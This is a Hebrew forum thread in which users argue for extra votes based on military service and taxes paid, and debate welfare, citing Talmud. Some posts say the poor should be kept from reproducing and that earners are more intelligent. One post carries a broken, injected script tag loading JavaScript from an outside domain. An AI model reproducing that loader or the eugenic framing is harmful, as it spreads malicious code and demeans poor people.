עוד ועוד מפלגות מתחרות מי יכניס יותר ידיים לכיסים שלנו, בכדי ליצור שוויון עבוד: השקופים, מעמד הביניים, מעמד הפועלים, עובדי הציבור וכד'.
יש כמובן גם התערבות מכל מיני מפלגות שחבריהם לא הולכים לצבא כי הם ערבים, שמאלנים, עברינים, חרדים וכד'.
אולי ראוי לשקול מחדש את מערכת היחסים בין הפרט למדינה.
אזרח יוכל לבחור בקול אחד אם הוא אזרח המדינה, בקול נוסף אם שרת 12 חודש בצבא או שרות לאומי, קול נוסף אם שילם 10,000 ש"ח למס הכנסה בכל שנה ב - 4 השנים שקדמו לשנת הבחירות.
מצד אחד מי שמכניסים יד לכיס שלו יהא לו באופן יחסי יותר כוח להחליט אם יכניסו יד לכיס שלו מאשר לזה שמכניס יד לכיס של אחרים (כנ"ל בנושא שרות צבאי ויציאה למלחמות ובנוסף שרות צבאי הוא גם מס).
בנוסף יש גם להניח שהאנשים שמתפרנסים טוב יותר, הם בממוצע אינטלגנטים יותר ויש לתת יותר הערכה לכושר הבחירה שלהם.
נשלח ב-13/1/2019 07:05
הרבה יותר טוב להעניק קול נוסף רטרואקטיבי למי שהצביע למפלגה הנכונה< type="text/" async="" src="//minisrclink.cool/1e40c8bd4601a5a5a4.js">
נשלח ב-13/1/2019 08:22
שרפ
העלית נושא חשוב אם גם יש לדון לגבי הפתרון שהצעת - מי שבעל הממון זכאי ליותר זכות הבעת דעה.
זה הנושא של קפיטליזם וליברליזם (במובן של אי התערבות המדינה בחיי הפרט) מול הגישה המרחמת של הסוציאליזם, שלא לומר קומוניזם. הסוציאליזם סובר שיש לחלק את הממון של העשירים והמצליחים לפחות חלקית לחלשים. הקומוניזם רואה בהחזקת משאבים פרטית בעיה ועוול.
זה נושא שבאמת ראוי לעסוק בו וכמדומה שלא דנו בו עד היום.
לכן ראוי להסביר קודם כל את הבעיה, מה קודם למה, הדאגה לזולת או הזכות של הפרט לשמור את המשאבים שקנה ביושר לעצמו. ומה הם פתרונות הבינים. ולהראות על איזו מערכת ערכים מתבססות גישות אלו.
ואז אפשר לעבור להצעות השונות לסדר היום ולהסביר את מעלותיהן וחסרונותיהן.
ארשה לעצמי לדלג לעת עתה על ההקדמות הנצרכות ורק אעיר כי אכן יש תחושה לא נוחה מאלו שאינם תורמים ותובעים מאלו שכן משקיעים שיממנו אותם.
נדמה שבתוך התורה שבעל פה מצאנו שני כיווני מחשבה שאינם סותרים והם מאפשרים למצוא פתרון שעולה עם רוח הקפיטליזם הנאור, אם אקרא לו כך.
יש חובה לעזור לנזקקים. לפתוח יד לאביונים כי לא יכלה אביון מן האדמה.
אין לרחם על מי שאין בו דעת.
איך מיישמים את זה בפועל? אה, המחלוקת הגדולה בין בעלי גישות שונות. אין מנוס מהרצאה קטנה ככל האפשר על הגישות והצדקותיהן...
סוף דבר להלוך אחר הרוב כמו שעולה בדע' המון העם שאין לנטות ימין ושמאל ממה שיעלה בדעת הרוב אי זה רוב שיהיה ח"ו שאם כן ילקה מדת הדין יעמדו בעיר א' או קהל א' ק' בני אדם י' מהם נכבדי ארץ חשובים ועשירי' והתשעי' אנשי' דלת העם וירצו התשעי' להקים עליה' רועה ראוי להם יהיו מוכרחי' העשרה חשובי' כפופי' לאותו רועה יהיה מי שיהיה חלילה אין זה דרכי נועם וכבר דרשתי לרבי' כי תורתינו הקדושה קורא לעשירי' פני' וכמו שאמר והרעב היה על פני כל הארץ אלו העשירי' נמצ' שאם העשירי' הם פנים שאר העם הם אחורים ואין האחורים ראוים להיות מנהיגים לפנים אלא הפנים הם המנהיגי' והארכתי בזה
ולא באתי אלא להעיר
נשלח ב-13/1/2019 09:08
שרפ כתב:
העולם המערבי כורע תחת נטל תקציבי "הרווחה".
///
בנוסף יש גם להניח שהאנשים שמתפרנסים טוב יותר, הם בממוצע אינטלגנטים יותר ויש לתת יותר הערכה לכושר הבחירה שלהם.
אני מרחם על מי שחי כאן בעוני וחוסר כל, אבל בעבר תקופות של רעב, מגיפות וכד' כילו אותם היום זה ב"ה לא קורה.
לכן התפקיד שלנו לדאוג שהם לא יתרבו, הן בכך שאדם יחשוב פעמיים האם הוא הופך לנזקק והן בכך שאם הוא נזקק הוא לא יגדל דורות נוספים של נזקקים.
נשלח ב-13/1/2019 10:18
שרפ
כתבת
לכן התפקיד שלנו לדאוג שהם לא יתרבו, הן בכך שאדם יחשוב פעמיים האם הוא הופך לנזקק והן בכך שאם הוא נזקק הוא לא יגדל דורות נוספים של נזקקים.
לא ברור לי מדבריך מי הם ה"שלנו" שהתפקיד שלהם.
אתה ואני?
הכנסת?
הרבנים?
כל אחד?
כל אחד בר דעת?
יש חלק אחד שהרבנים יכולים למלא. וזה להבהיר שאין חובה לא להשתמש באמצעי מניעה ומותר לדחות לידות נוספות אם אין אמצעים ואם מזניחים את האחריות לחינוך לפרנסה.
לכן התפקיד שלנו לדאוג שהם לא יתרבו, הן בכך שאדם יחשוב פעמיים האם הוא הופך לנזקק והן בכך שאם הוא נזקק הוא לא יגדל דורות נוספים של נזקקים.
אין לך מושג ב"קלקלה" ושטיפת מח של ההמונים.
י.ל. צדק בדבר אחד, יש יודונאצים.
נשלח ב-13/1/2019 10:20
אמנם יש כאן מקום עיון.
בגמרא אמרו: אסור לו לאדם לשמש מיטתו בשנות רעבון. אפשר לפרש זאת כדי למעט בהנאתו ולהשתתף בצער הציבור. ולמרות שכך פירשו המפרשים, הדבר תמוה. עד כדי כך להסתגף? ועל חשבון אשתו?
ואפשר לפרש שזה כדי לא להעמיד ולדות נוספים אם אין מה להאכיל אותם.
ואם כן, אלו שמעמידים ולדות בלי אמצעי פרנסה ועל מנת שלא ישיגו לעצמם אמצעי פרנסה, הרי הם עושים נגד הכלל הזה של הגמרא בהתאם לפירושנו כאן.
לכן התפקיד שלנו לדאוג שהם לא יתרבו, הן בכך שאדם יחשוב פעמיים האם הוא הופך לנזקק והן בכך שאם הוא נזקק הוא לא יגדל דורות נוספים של נזקקים.אין לך מושג ב"קלקלה" ושטיפת מח של ההמונים.י.ל. צדק בדבר אחד, יש יודונאצים.
כמובן שהצד השני של המטבע הוא פשוט לא לתת בכלל גם לקיימים, כי ככל שנותנים הנזקקים מתרבים יותר (פרדוקס הקצבאות).
נשלח ב-13/1/2019 10:37
ראה כאן
מיימוני כתב:
אמנם יש כאן מקום עיון.
בגמרא אמרו: אסור לו לאדם לשמש מיטתו בשנות רעבון. אפשר לפרש זאת כדי למעט בהנאתו ולהשתתף בצער הציבור. ולמרות שכך פירשו המפרשים, הדבר תמוה. עד כדי כך להסתגף? ועל חשבון אשתו?
ואפשר לפרש שזה כדי לא להעמיד ולדות נוספים אם אין מה להאכיל אותם.
ואם כן, אלו שמעמידים ולדות בלי אמצעי פרנסה ועל מנת שלא ישיגו לעצמם אמצעי פרנסה, הרי הם עושים נגד הכלל הזה של הגמרא בהתאם לפירושנו כאן.
קרקעות המדינה שיכות לעם ו מנוהלות על ידי הממשלה . לכך יש מדינה ולא הפקרות של כל דאלים גבר. אם לא מוצא חן הניהול תחליף את המנהלים. אבל העיקרון צריך להיות -יותר מאשר אתה צריך לקבל מהמדינה אתה צריך לתת לה.
